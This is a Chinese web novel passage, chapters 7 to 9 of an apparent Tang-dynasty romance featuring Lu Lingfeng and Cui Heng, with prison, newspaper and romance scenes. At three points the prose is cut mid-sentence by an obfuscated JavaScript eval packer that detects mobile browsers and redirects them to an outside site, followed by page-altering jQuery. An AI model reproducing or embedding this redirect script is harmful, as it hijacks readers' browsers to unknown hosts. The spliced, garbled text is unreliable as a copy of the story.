“崔璋!崔蘅!你们不能这么对我!崔璋,你以为我们家完了,你自己就能独善其身吗?!你以为自己凭什么做如此高官,难道没有得到家族荫蔽?!你个狼心狗肺的畜牲!没了崔家,你又能走多远!” 崔璋笑了笑,随即有些受不住地握拳抵在唇边咳嗽起来,崔蘅轻轻将手搭在崔璋肩膀上,勾起唇角:“父亲,这应该是我最后一次这样叫你了,你不会真的不知道自己的妻子都对我们做了些什么吧?那你也太蠢了。” 他们一对双生兄妹,每个人身上都带着毒,带着伤,难道像受家族荫蔽,被很好地养大了的孩子吗? 面前的中年男子竟然痛哭流涕起来:“蘅儿,是为父错了,为父只是不查之罪,罪不至死啊……你救救父亲,出去之后为父立刻休了这毒妇!” 崔璋又咳嗽两声,笑道:“父亲,真不知你这么多年官是怎么做的,拔除门阀,非我之愿,乃天子之愿。怜我大义灭亲,天子对我们体恤有加。” 他们的父亲一听这话,立刻懂了其中深意,士族门阀势大,与皇权对抗,早就是皇帝的眼中钉肉中刺,如今由他们崔家自己家里的人去拔除这根刺,他们姓李的简直不要太开心。 崔蘅看向一旁缩在角落里一直没说话的贵妇人,对方感受到崔蘅的视线,眼神与她对上,像淬了毒一样冰冷,她说:“两个小畜牲,我该早点下手弄死你们,终究养虎为患……养虎为患!” 她说完站慢慢站起身,睥睨地斜了一眼痛哭流涕的夫君和如同一摊烂泥的儿子们,猛地冲向旁边石墙,一头撞死在了墙上。这一变故把父子三人都吓住了,崔蘅的两个弟弟更是惨烈地尖叫起来,其中一个还吓尿了裤子。 崔蘅站得太近,那女人的血溅在她脸上,她看着他们的父亲挑挑眉:“没想到你们家最有骨气的竟然是你小妾。” 崔璋厌恶地看了倒在牢门内的尸体一眼,递给崔蘅一方手帕:“擦一擦吧。” 崔蘅接过手帕,左右看看,朝一名狱卒伸出手:“这位大哥,借刀一用。” 那名狱卒一直斜着眼注意着这边的动静,崔蘅跟他说话,竟然把他吓得抖了一下:“这……这狱中不能行凶啊。” “谁说我要行凶,这几个人不是快被砍头了么,还用得着我行凶?” 崔蘅一把拔出他的佩刀,借着佩刀的反光看到自己脸上的血,然后拿手绢一点点擦干净。擦完之后,崔蘅把手帕还给崔璋,刀还给狱卒:“兄长,走吧,这里潮湿阴暗,待时间长了对你的身体不好。” “嗯,走吧。” 崔蘅同崔璋从牢里回来,依旧回到卢凌风那里,她是翻墙走的,没被人察觉到,结果翻墙回来时,正好遇见刚回家的卢凌风,他就那么黑着脸盯着骑在墙上的崔蘅,一时间两个人都没说话。 崔蘅抽抽嘴角,坐在墙头朝卢凌风伸出手:“扶我一下呗。” 卢凌风很不想理她,但是他有话要问崔蘅,所以他还是朝她伸出了手。崔蘅却没握他的手,笑着直接从墙上跳了下来,并朝卢凌风张开手,后者被吓了一跳,几乎是下意识地将她抱住。 “多谢卢将军~” 卢凌风重重吐出口气,把崔蘅放在地上:“你去哪里了,不知道外面很危险吗?” 崔蘅笑了下:“已经没有危险了。” “什么?” 崔蘅露出一个有些落寞的笑容:“你没听说吗,崔家被抄了。” 卢凌风皱了皱眉头,崔蘅继续道:“被抄的只是一个旁支,却是我亲生父亲的家。我其实不是崔家嫡系的孩子,但是因为以前读书好,主家从旁支选过去撑场面,本来还想将我过继到主家,但是后来我毁了容,就被送回去。” 卢凌风还真不知道这件事,他抬手轻轻按在崔蘅肩膀上试图安慰:“你去狱中见他们了?” “嗯,我刚知道,追杀我的杀手是我父亲的续弦派出来的,她在狱中自杀,死前十分悔愧,将真相说了出来。以后……以后不会再有人追杀我。” 卢凌风听她这样说,更不知所措了,他沉默半晌,只干巴巴说出一句:“别难过……” 崔蘅默默走近几步,将头靠在卢凌风肩膀上,后者犹豫了一下,还是轻轻搂住崔蘅,在她后背安抚似的拍拍。崔蘅在他看不到的地方抬起眼睛,眼里哪有半点难过得样子,倒是有种大仇得报的痛快。不过卢凌风好心安慰她,还是装一下吧,而且,他刚刚一副要兴师问罪的样子,可千万别让他想起来啊。 崔蘅转转眼睛,干脆抱住卢凌风的腰,把脸埋进他怀里,她难过地说:“我不难过。” 卢凌风收紧手,把她用力抱住,崔蘅感觉到了,只在心里感慨,卢凌风看着傲气,内心却十分善良,真是可爱死了。 正在这时,忽然有人从外面冲过来:“中郎将!” 崔蘅一下子从卢凌风怀里挣脱出来,尴尬地将脸侧到一旁,卢凌风也有些狼狈,看着冒冒失失冲过来的郭庄有些恼怒:“什么事!” 郭庄没想到会撞见这种场景,早就转过身去,嘴里还在喊着:“我没看见,什么都没看见!” 卢凌风将双手背到背后,清了清嗓子:“好了,到底什么事。” 郭庄凑近过来对卢凌风道:“金吾卫今日又抓了好多女子,要连夜审人,请中郎将前去主持大局。” “还是女子?” 郭庄道:“对,又抓了十几个,全是女子。” 卢凌风一听就不太乐意:“审女犯还需要我亲自去吗?” 郭庄十分为难:“可、可是我们也不知道怎么下手,都是些……看起来很文弱的女子。” 卢凌风还没说话,却见崔蘅已经睁大眼睛好奇地凑了上来,听清他们的对话,大声道:“啊——!金吾卫是怎么审女犯的?!是不是真的扒衣服就全招了啊?!” 卢凌风忽然想起她之前胡说八道的那些话,恨不得把崔蘅的嘴缝起来,原本他就没遇见过这种情况,这样一说,好像他们金吾卫是一群登徒子! 郭庄也闹了个大红脸,急忙结结巴巴辩解:“没有没有!我们还没审!我们不会的!” “但是听说扒衣服很管用唔唔唔——!” 崔蘅的大嗓门下一秒被卢凌风狠狠捂在嘴里,他示意郭庄:“先把那些人关起来,分开关押,我随后就去。” “是!” 郭庄说完逃也似的跑了,他现在终于有点理解中郎将的感受了,以后看见崔蘅还是绕道走吧。 卢凌风松开崔蘅的嘴巴,一把抓住她的手腕将她往书房拉:“你给我过来!今天这事同你还有关系!” 崔蘅疑惑道:“跟我有什么关系?” 卢凌风将她一路扯进书房,指着桌上的几个竹筒给崔蘅看:“你自己看,这是从今天那些被抓女子的身上搜出来的东西,这竹筒同你之前带的一模一样,是不是同你有关?” 卢凌风原本也不想做这些事,但是忽然出现好多在大街上行为鬼祟的人,大多数都在达官贵人府邸外转悠,有的则在长安街上发生大事件的热闹地点出现,不仅都带着这样的竹筒,神色还鬼鬼祟祟,怎么想都觉得不正常。 崔蘅看到这些竹筒,忽然惨叫一声扑了过去,她抓起桌上的竹筒猛地转过头去看卢凌风:“你……!原来是你把我的记者都抓了!我说怎么今天路过报社时候一个人都没有!” “记者?何为记者?” 崔蘅扑到卢凌风身上,一把抓起他的衣领,拼命摇晃:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401028|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好你个卢凌风,什么都不懂就胡乱抓人!快放人!快给我放人!她们都是我雇佣的员工!” 卢凌风直挺挺地站着由她晃,崔蘅又晃不动他,卢凌风皱眉道:“你的员工?为何都鬼鬼祟祟,问她们到底在做什么又不明说,自然只能抓起来。” 崔蘅松开他抱着脑袋大吼:“当然不能说啊!她们在为明天报纸的内容采风!内容都说出来了怎么保证新闻稿子的独特性!我还卖个屁的报纸!快把我敬业的员工放出来!” 卢凌风只皱眉,不为所动,崔蘅忽然低头朝他创过来:“我跟你拼了!” “……” 崔蘅亲自跟着卢凌风去了金吾狱,她一出现,那些紧紧闭着嘴巴一句话不说的女子都像找到主心骨一样,开始哭了起来:“崔主编!救我们!” 崔蘅扑过去在牢门外握住她们的手,双眼含泪:“别怕,大家都别怕,你们受苦了,不论花多少钱我一定会把你们都救出去!” 卢凌风看到这副场景,忍不住深深吸了口气:“够了,你过来录口供,录完画押就可以把人带走了。” 崔蘅抽噎着一步三回头地跟着卢凌风走到一旁,卢凌风坐在桌前问话,旁边一个书吏为他们做记录。 “说吧,从记者到报社,都说说,不用我亲自问了吧。” 崔蘅原本就一肚子气,语气硬邦邦:“记者就是那些被你们抓住的女子,他们负责采集长安街上发生得新鲜事,以自己的文笔记录下来,整理挑选后会制作成报纸,明天刊印售卖。报社就是书铺,不过卖的不是书,是报纸……” 卢凌风又问:“何为报纸?” 崔蘅皱紧眉头:“长安小报,已经卖了两期,想知道是什么,中郎将可以自己买一份回去看看。” 卢凌风疑惑道:“长安小报?” 负责记录的书吏忽然小声道:“中郎将……我看过,上面有一个叫民生的板块,写的是粮食种植时令和最新种植方法,蛮有意思的。” 崔蘅朝那书吏微微一笑:“多谢支持。” 回头再看卢凌风,脸又耷拉下来。 卢凌风不自在地咳嗽一声,对那书吏摆摆手:“好了,你下去吧。” 等人都走了,卢凌风压低声音道:“你做什么这么生气,我又不知道。” 崔蘅想翻白眼:“如果有人莫名其妙把郭庄抓了,你生不生气?更何况你还抓了我这么多郭庄!” “咳,我还是很佩服的,抓了这么多人,却无一个将你供出。” 卢凌风放软语气:“你可以带她们走了。” 崔蘅却朝他伸出手:“她们采风的内容还给我。” “那些竹筒?” “对啊!” 卢凌风断然拒绝:“不行,那是证物,要确认内容是否没有机密。” “那是我们明天要发的报纸内容!你给我拿走了,我怎么刊印!” 崔蘅激动地拍桌子:“本来就是你们抓错了人!东西快点还给我!” 卢凌风眯起眼睛:“抓错了人?若我真同你计较,你派这么多人在街上收集情报,倒要好好调查一番,弄清楚你们是何企图。” “你……!” “嗯?!” 卢凌风朝着崔蘅瞪眼睛,后者见他油盐不进,忽然站起来,伸手去拉卢凌风:“你先过来!” 卢凌风原本不想动,崔蘅却硬扯着他往角落拉:“你过来!” 卢凌风被崔蘅扯到角落,后者才松开他的手,却上前一步,伸手往卢凌风背后的墙壁一撑,将他撑在自己双手之间,这样一来忽然拉近了两人之间的距离,崔蘅的脸几乎要贴到他脸上去了。卢凌风下意识向后仰头:“你做什么!” 崔蘅鼓着脸气了半晌,软下语气道:“卢凌风……卢将军,求求你了,把新闻还给我吧,我真急着刊印,我们明天要发报的。” 卢凌风挑挑眉:“求我也没用,总得调查清楚。” 崔蘅咬咬嘴唇,一只手勾住他的脖子,压低声音:“怎样才肯还给我,你说条件嘛。” 卢凌风伸手推住崔蘅的肩膀,阻止她再靠近,一副铁面无私的样子:“别给我来这套。” 崔蘅干脆收回手:“好!你也看到了,我手下记者很多,对情报发现和收集十分敏锐,以后有什么情报消息,或者卢将军用得到我的地方,尽管开口,我一定帮忙!” 卢凌风听到这里满意地勾起唇角:“这个条件倒还可以,可惜都是些女子,收集情报的能力有限吧。” “你少看不起人了!这些记者跟了我很多个州县,我们可不是第一次发报纸,她们经验老道,若是男子,当封斥候!” 卢凌风忍不住笑了一声:“那我就同崔……主编,做这笔生意。” “你要保证!以后不能再抓我的人!” 卢凌风摆摆手:“自然,抓这么多女子进金吾狱,我还觉得麻烦呢。” 8. 第一次 卢凌风当真去买了一份长安小报来看,他原本以为只是她们随意写着玩的东西,但是没想到这小报内容十分丰富,长安流行的美食、胭脂服饰、妆容发髻、播种时令、农耕方法、本地盛事、名士名作……各种领域都有涵盖,而且这样一份小报并不贵,报上图文并茂,怪不得很多人愿意买回去看。 卢凌风一边看那小报,一边觉得新奇,看得出来这份报纸是印刷出来的,可是按照崔蘅所说,他们的报纸每三天发行一次,从收集情报、挑选文章,到排版刊印,竟然只需要这么短的时间? 卢凌风好奇,自然就问了,崔蘅也不藏私,便将活字印刷和圆盘排版的方法告诉了卢凌风。崔蘅倒是想试试整个打印机出来,只可惜,想从农耕文明直接跳入电气时代是有点痴人说梦了,她只能从活字印刷术开始做起。 卢凌风一边把晚餐往嘴里塞,一边看那份小报,含混道:“我还真是小瞧了你的记者们……对了,你说她们跟了你很多个州县,这些女子都不回家吗?” 崔蘅叹口气:“当然是因为她们没有家啊……都是些可怜人,我收留她们,给她们一份谋生的工作。” 卢凌风抬眼看她:“你的员工里,只雇佣女子?” “男子当然也用,不过这个世道无路可走的女子,终究比男子多得多。” 卢凌风点点头,有人此时跑进来:“启禀中郎将,刚才有人送了一封信过来,说是右丞府的人,要送给崔姑娘。” 卢凌风看向那人:“信在哪里?” 对方将信递过来,卢凌风没有动,崔蘅伸手接过。 她有些疑惑地说:“崔璋这是做什么,有事找人传话便是,为什么还送信?” 卢凌风看她一眼:“或许是重要的事情。” “那我先回房看看信。” 卢凌风“嗯”了一声,见崔蘅离开,也想起来了,崔右丞莫非是催促她回去了?毕竟最开始就是为了她的安全才留在他的府邸,如今追杀崔蘅的杀手已经没有了,理应让她回去。 崔蘅将信封打开,信封中只有一张纸,她将纸拿出来展开,脸上的表情顿时僵住,脸色慢慢变得惨白一片。 这是一张空白的纸,上面什么都没写,其寓意却让崔蘅浑身血都凉下来。 “怎么会……还是到这个时候了……” 崔蘅颤抖地呢喃了两句,忽觉眼前一黑,竟站立不稳,差点跌在地上。这是她与崔璋的约定,只不过约定的时间太久,以至于崔蘅几乎把这个约定忘记了…… 卢凌风听到屋内传来巨大的椅子翻倒的声音,他愣怔一下,急忙跑进来查看情况,却只看见崔蘅往外跑的背影,地上还飘落着一张空白的纸。 卢凌风将地上的纸张捡起来,稍感疑惑,最终他还是跟着崔蘅走出去。崔蘅七拐八拐,竟然躲在院子的一处角落里,这里有座荷花池,平时没什么人过来。卢凌风远远看见,崔蘅背对着这边,手扶着荷花池的栏杆,不知在做什么,他慢慢走过去,靠得近了,才发现她好像在哭。 卢凌风一靠近,崔蘅就感觉到身后有人,慌忙回过头,卢凌风便见到她哭得满脸通红,脸上还挂着眼泪。卢凌风愣了下:“发生了何事?” 崔蘅慌慌张张地擦脸上的眼泪:“无、无事……” 她大约是想忍住眼泪,但是不知为何,平日里见她十分坚强,此刻却哭得不能自已。卢凌风皱眉盯着她,崔蘅被看得不自在,直接背过身,扶着荷花池的栏杆整个人都一抽一抽的:“……走、走开……非礼、非礼勿视不知道吗。” 卢凌风皱眉看着她半晌:“到底发生了何事?” 他从未见崔蘅哭成这样,更确切地说,从未见她掉过眼泪,就连崔家被抄家,也没见她有这么大反应,一定是发生了什么大事…… 崔蘅捂住嘴,将哭声堵在喉咙里,变成呜咽。她只背对着他摇头,不肯多说一句。卢凌风犹豫一下,抬手轻轻握住崔蘅的肩膀,将她转过来拉向自己:“过来。” 崔蘅只来得及抬眼看卢凌风一眼,已经被他拉进怀里。崔蘅此时也没有力气故作坚强了,她抓着卢凌风胸口的衣服,将他的领子都抓皱了,整个人哭得抖成一团,卢凌风听到她呜咽的声音从怀中模糊地传来:“一会儿就好……” 卢凌风收紧手臂,按着崔蘅的后脑把她扣在怀中:“没关系,没人看见。” 崔蘅的情绪慢慢平静下来,不得不承认,难过的时候有肩膀可以依靠,确实令人安心。崔蘅从他怀里抬起头,卢凌风若有所感,低下头与她的视线对上,卢凌风看了她一会,首先移开视线。 “可好些了?” 崔蘅抓着胸口的衣服,小声道:“我想喝酒。” “这个时候喝酒,岂不伤身。” 崔蘅抬起头盯着他,凌乱的发丝贴在脸上,泪光衬得她楚楚可怜。卢凌风把她脸上的发丝理顺,妥协似的叹了口气:“好吧……” 崔蘅不是那种喜欢借酒消愁的人,她喝得很斯文,但是一杯接着一杯,也喝了不少,卢凌风几次都想问她到底发生什么,却又怕让她想起伤心事,便也不敢提,卢凌风只能在她喝的时候陪上一杯。 崔蘅不知想到什么,从矮几对面挪到卢凌风旁边,一抬手,袖子滑到手肘处,露出半条雪白的手臂,她把自己的酒杯伸到卢凌风唇边:“卢将军喝得不尽兴啊。” 卢凌风见她这样,意识到她或许有些醉了,无奈地接过她的酒杯,随手放到远一点的地方:“好了,别再喝了。” 崔蘅皱起眉头看着他:“还给我!” “崔蘅,你喝得已经够多了,天也晚了,你该回去睡了。” 崔蘅连脸都皱起来了,干脆把酒壶拿起来,抬手便往嘴里倒。卢凌风忽然有些后悔,就不该答应她,让她喝酒…… 卢凌风又想伸手去拿她手里的酒壶,崔蘅这次躲开了,她跟卢凌风较上了劲,立刻对着壶嘴灌了一大口,卢凌风瞪着她,崔蘅直接起身,面对面坐到卢凌风腿上,在他反应过来之前,一把捏住他的两腮,将嘴里那口酒嘴对嘴给卢凌风灌了进去。 这一系列事情发生得很快,等卢凌风回过神,坐在他身上的那个人已经在得意朝着他挑眉,好像故意气他似的。卢凌风艰难地将口中的酒液吞下去,从脖子到头顶都涨红了,他推搡着崔蘅,嘴里说道:“你,你快下去!” “我不!” 崔蘅紧紧贴在他身上,一只手搂住卢凌风的脖子,她将酒壶移过来,眯眼看着他:“继续。” 卢凌风一把握住她的手腕,用力把酒壶扯开:“别闹了,你喝醉了!” 崔蘅低下头来,唇角勾着笑:“我没醉。” 她说完凑上来吻在了卢凌风的唇角,后者惊讶地睁大眼睛,崔蘅手中的酒壶已经脱手掉下去,她用两条胳膊将卢凌风的脖子搂紧,闭上眼睛张嘴去咬他的唇瓣,崔蘅柔软的身体完全挤进他怀里,舌尖笨拙地去撬他的齿关,吻得缠绵又强势。卢凌风觉得脑子转不动了,他胡乱抓住手边的什么,紧紧攥在拳里,一颗颗葡萄被他捏得汁水四溅。 这一吻结束,崔蘅退开了一点,她的眼神明显朦胧起来,卢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401029|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 凌风却看着她,胸口急促起伏着,神色变得十分复杂。崔蘅将手臂搭在他肩膀上,睫毛慢慢垂下来,卢凌风被她盯着,发现自己根本做不出拒绝的动作。崔蘅再次贴上去轻轻啄他的唇,只一下,卢凌风握住她的腰往自己怀里压,他学她的样子,张嘴去咬崔蘅,不过他咬得有些疼,崔蘅微微颤了颤,抵住他的唇舌,卢凌风哪经过这种事,握在她腰上的手下意识收紧,另一只手扶住崔蘅的脖颈,猛一转身,将崔蘅重重压在榻上。 崔蘅被他这一下晃得眼晕,还没反应过来,身上那人已经又压下来了,崔蘅闷哼出声,卢凌风几乎靠本能,顺着她的唇角一直吻到脖颈,崔蘅仰起头,纤细的脖颈被送到他唇边,卢凌风张嘴便咬了上去,脆弱的喉骨在他齿下微微颤抖,崔蘅感觉自己的衣服被从肩膀上扯下来,卢凌风急促的喘息声紧贴着她的锁骨一路颤抖地延伸。 卢凌风还残存着一点理智,他的动作顿了一下,想要抬起头,但是被崔蘅勾住脖子,她盯着他的眼睛,一只手摸到卢凌风领口的扣子上,慢慢解开。 卢凌风猛地清醒过来,一把按住她的手:“知意……” 崔蘅似乎明白他想说什么,朝卢凌风笑了笑:“我没醉。” “……” 卢凌风闭了闭眼,艰难地吞咽一下:“不可。” 崔蘅的手轻轻贴在他脖颈上,拇指顺着卢凌风喉结来回滑动,卢凌风嘴唇都快咬出血了,崔蘅看着他半晌,忽然松开手:“你不喜欢我。” “不是!” 卢凌风将她凌乱的衣服拉好:“不能……不能这样唐突你。” ——和谐和谐—— 他到底年轻气盛,到天快亮时才将将歇下,崔蘅趴伏在卢凌风胸口,已经累得动都动不了一下。卢凌风一只手托着她的后脑,缓慢在她发间抚摸,又慢慢抚摸到她的颈背。崔蘅用力抱紧他,小声嘀咕:“别再动我了。” 卢凌风嗤笑一声,崔蘅气恼地抬眼瞪他,卢凌风低头在她额头上轻轻吻一下,神色温柔:“我得上直去了。” 崔蘅侧身躺在一旁盯着卢凌风在床边换衣服,后者察觉到她的视线,皱眉回头看过来,还是忍不住脸红:“不许看。” 崔蘅笑了一下,伸手去摸他的腹肌:“卢将军好小气啊。” “崔知意……!” 卢凌风有些气急败坏,崔蘅干脆爬起来,抱着他的脖子在他胸口啄了两下,然后依恋地蹭蹭:“抱抱我。” 卢凌风犹豫着抱紧她,他下意识往窗外看了一眼,看天色似乎还有些时间。 崔蘅沉默地趴在他怀中半晌,道:“卢凌风,如果我不在你身边,你会不会把我忘了。” 卢凌风低头看她,崔蘅叹了口气:“算了……如果我不在,你应该找别人去。” 卢凌风越听越觉得不对劲,他伸手捏住她的下颌,强迫崔蘅抬起头:“到底发生了什么。” 崔蘅抿着嘴不说话,卢凌风眯起眼睛:“崔知意,别耍我,否则我不会放过你。” “我哪里耍你了,你应当清楚,昨晚我也是第一次啊……” 卢凌风有些脸红:“我没说这个!” 崔蘅露出个笑容:“你快去吧,今日我得回兄长那里一趟。” “做什么?” 崔蘅想了想:“我的猫死了。” 卢凌风顿时一梗:“你就为了这个,哭成那个样子?” “那毕竟是我的猫啊,是我从小养到大的猫。哼。” 卢凌风又好笑又好气地捏捏她的脸:“行,你去吧。” 9. 突然就死了 崔蘅回了右丞府,她刚一进府,下人便道:“小姐,公子在内室。” “知道了。” 崔蘅急忙去了内室,刚一踏入便闻到了浓重的药味,同时,一声声闷咳从室内传出来。崔蘅快步走进去,一撩帘子,便见到了脸色发白的崔璋。 “你怎么样?” 崔璋听到崔蘅的声音,还是重重地喘息着,平复了呼吸后,才抬眼看她:“你的事情都处理好了吗?” “嗯,我已经将手下的产业交给师姐暂代打理,即便我不天天去也没关系。” 崔璋重重吐出口气:“我不是问报社,我是问那位,金吾卫中郎将。” 崔蘅沉默一下,声音干涩道:“他……没事的,我没那么重要。” 她回答完之后,两行眼泪却不由从脸颊滑落:“这么多年,我一直不肯面对你的身体状况,我以为不去面对就可以不必面对,没想到……你告诉我实话,你的身体真的治不了了吗?” 崔璋倒是表现得很平静:“大夫说,半年便是大限。” 他说完,有些不忍地看向崔蘅:“为何要用这么长时间来布局,用这半年,我至少能保证你安安稳稳嫁出去。你去过一个女子该过的生活,也算我这个兄长最后为你做一点事。” 崔蘅道:“我可不想过什么女子该过的生活,我也不想嫁人。” 她轻轻坐在他身边,握住崔璋的手:“兄长,我多希望你能永远在我身旁,这个世上只有你能陪我走下去,我希望你好好的,你若走了,我多孤单。” 崔璋回握住崔蘅,唇角绽开一个苍白的笑容:“这不是还有半年嘛,这半年里,我会帮你在朝堂站稳脚跟。届时即便我离开了,你也不会有危险。” 崔璋与崔蘅是一对双生兄妹,但是崔璋自幼体弱,大夫断言他活不过二十五岁。崔蘅本来是现代人的灵魂,从出生开始便有自我意识,她以为自己会生活在一个有爱的家庭,却没想到,处处被算计。若非她身体里有个成年人的灵魂,她跟崔璋从小到大不知死了多少回了。 崔蘅是一切计划的真正主持者,最初想做官,只是为了求生,然而因她女子身份出入朝堂和做官并不方便,便决定了,先由崔璋入仕,他若真的活不过二十五,崔蘅便代替他。 崔璋完全不担心崔蘅会应付不来官场的事,他之所以能因诗得到贵人青眼,被举荐入仕,全都是崔蘅的功劳,崔蘅出过一本诗词集,以崔璋的名义送给贵人,后来他成功入仕,也是崔蘅在背后帮他,治理一县,一州……他到过很多州府,每次调任都是因为政绩斐然,他每到一处,此地便会变得十分富有,赋税翻倍。崔蘅发展经济很有一套,她制作了效率更高的织布机,带有经验的老农繁育出产量更高的种子,她甚至知道如何锻造更坚固的钢铁,修路造房所用之泥沙砖石,在崔蘅与匠人的共同改造之后,都变得更加坚固。于是她修了很多路,她说接下来,目标是研究一种更高效的交通工具,比骑马更快……崔蘅所做的事,崔璋都看在眼里,他从心里佩服这个妹妹,甚至敢夸海口,大唐官吏,万千男儿,没有一个能比得上他的妹妹。 崔璋也曾问过,为何不把这些东西献给明主,崔蘅却轻蔑笑道,封建王朝之下,岂有明主,不论太子还是公主,或是当今天子,皆不入她眼。 崔蘅了解封建帝制下的统治者,他们在想收买人心时,会冠冕堂皇地说百姓是大唐的子民,但是真正到自身利益被侵犯时,百姓又算什么东西,与刍狗雉鸡无异。崔蘅厌恶这个时代,她希望不论那个位子上坐的是谁,百姓都能安居乐业,有饭吃有衣穿。有了亩产更高的种子和种植方法,就能收获更多粮食,百姓就能吃饱,能织更多布匹,百姓就能穿暖,这个天下姓李还是姓王,于她来说都无所谓。 一个国家繁荣与否应该看它的实力,而不是看统治者的脸色。 崔璋有时候都不明白崔蘅这等反叛思想到底是从哪里学来的,他可以无条件支持,却让她再也不要说了。 崔璋提出让崔蘅代替他的身份时,崔蘅第一反应是要为他治病,直到他渐渐成年,确定他的病确实无法根治,崔蘅才做了这个计划。想要与崔璋交换身份,在崔璋死后让外界怀疑不了她,那交换身份的周期就不能太短了。 所以她计划用半年的时间完成身份交换,第一步,就是让崔蘅的这个身份代替崔璋去死,而崔璋要以兄长的身份亲自为崔蘅操办葬礼,届时就算知道他们曾是双生兄妹,如今却只有一个的人,也只会觉得死掉的是作为“妹妹”的崔蘅。 崔蘅曾经跟崔璋说过,这就跟她以前给他讲的那个狼来了的故事一样,她甚至设计了一个可以巩固“崔璋”身份的局。 崔蘅计划在她死后半年的时间里,会找机会故意在人前露出破绽,让他人怀疑现在的崔璋是女子,届时再让崔璋在人前验明正身,让所有人都产生一个印象,活下来的是男子崔璋,而大家之所以会觉得崔璋像女子,只是因为她们是孪生兄妹,长得太像。半年里,这种事情发生次数多了,今后就算崔蘅不小心露出破绽,也不会再有人想要求证。 毕竟没有人会想打自己的脸。 而且为了模糊他们两人走路姿势和身高上的差距,崔璋在人前从来都是坐在轮椅上,以后就算换了崔蘅,也不会有人从身高这方面看出破绽。 崔蘅说:“我在长安没有多少熟悉的人,把葬礼办得大一点,让所有人都知道,我这个跟你长着同一张脸的妹妹死了,只有卢凌风……唉,以前逗他逗得太狠了,他现在不怎么信我,我得想个万全之策骗过他。” 崔璋看着她皱了皱眉:“你……你要他亲自到你灵前看到你的尸体吗?” “当然。” 崔璋犹豫一下:“这未免……” 崔蘅疑惑地看他一眼,随即想明白了:“你想说,他会接受不了?” 崔璋默默移开视线:“你们之间的事情,我也不是完全不知道……” 崔蘅叹口气:“没关系,我了解卢凌风,他志在建功立业,儿女情长对他来说无足轻重。就算难过,也不会难过太久。而且他那么爱面子,人前是不会为了个女人闹太大的。” 崔璋一脸不忍:“你这不是欺负人么……” 崔蘅咬住嘴唇:“是我的错……我把我们的计划忘了,如今,长痛不如短痛。” ——而且,比起这些,崔蘅还有更重要的事要做,她需要权力,娘亲死的那天她就明白了,不论想做什么,首先需要权力。与其寄希望于明主,不如自己掌握权力。卢凌风那个冲动的样子,她就不信他能在这个腐朽的王朝里全身而退,就算为了卢凌风好,她也得找好退路,她会成为所有人的退路。 崔璋朝崔蘅伸出手,他的手虽然修长,但是苍白,崔蘅轻轻握住他的手,崔璋将她紧紧回握:“……若我的身体争气点,你也不用受这些苦。” 崔蘅强行忍住眼泪,笑着安慰崔璋:“兄长也不要太悲观了,说不定我们只是没找到好大夫,这半年里若最终找到了医治你的办法,以后我们还能像现在这样,像现在这样……有你陪我。” 她与崔璋不仅是兄妹,更是人生的伙伴,他们有共同的信仰,用她的话说,他们应是同志。 卢凌风今日上直时,撞见几名接班的金吾卫在说笑,好似在说……打雁,卢凌风疑惑地看了他们一眼,想郭庄问:“他们打雁做什么?近来有什么任务与此有关?” 郭庄笑得有些暧昧:“什么任务啊,二营有人要成亲,让兄弟们帮他捉雁去女方家里提亲。” 卢凌风顿了一下:“哦?这有何难,若是我金吾卫的兄弟,身手应当不错,打一只大雁还需出动这么多人?” 郭庄道:“大雁好打,但是如果捉到的大雁是羽毛杂乱,或者被血污了雁毛的,拿去女方家里……这不是不好看嘛。” 卢凌风笑了一下:“竟如此讲究。” “越讲究越体现对女方的重视,听说他那岳家家世不错,他很谨慎。不过,也有不用活雁提亲,亲手雕一对雁雕也可,若是珍贵材料,甚至可以做定情信物。” 卢凌风不知想到什么,一时有些出神,郭庄见他如此,笑道:“中郎将,怎么也对这些闲事感兴趣了?” 卢凌风立刻咳嗽两声,正色道:“什么闲事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15401030|168682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我还不能关心一下兄弟们的生活了。” 郭庄笑了笑,没再说话。 卢凌风忙过手上的事,忽然想起来,崔蘅离开已经三天了,上次她因为崔璋的来信哭成那样,真的只是因为猫死了?他决定今日前去右丞府拜访一下崔璋。 卢凌去之前,拿起桌上两只婴儿拳头大小的碧色玉石,他盯着这对玉石看了片刻,有些不太满意,不过最后还是把它们塞进怀里。好歹是他自己雕的,而且已经是他雕的里面最好看的一对了,崔蘅应该不会不给他面子吧。 结果卢凌风刚走到右丞府,便见他们府门大开,府外还挂上了白幡,卢凌风犹豫着走上前,向守门人问询:“金吾卫中郎将卢凌风前来拜访崔右丞,请问,府中为何挂上了白幡?可是有丧事?” 那守门人也是个懂礼的人,向卢凌风拜了一礼才道:“回中郎将的话,府上小姐近日新丧,这才挂上白幡。若非要事,请中郎将改日再来拜访吧。” 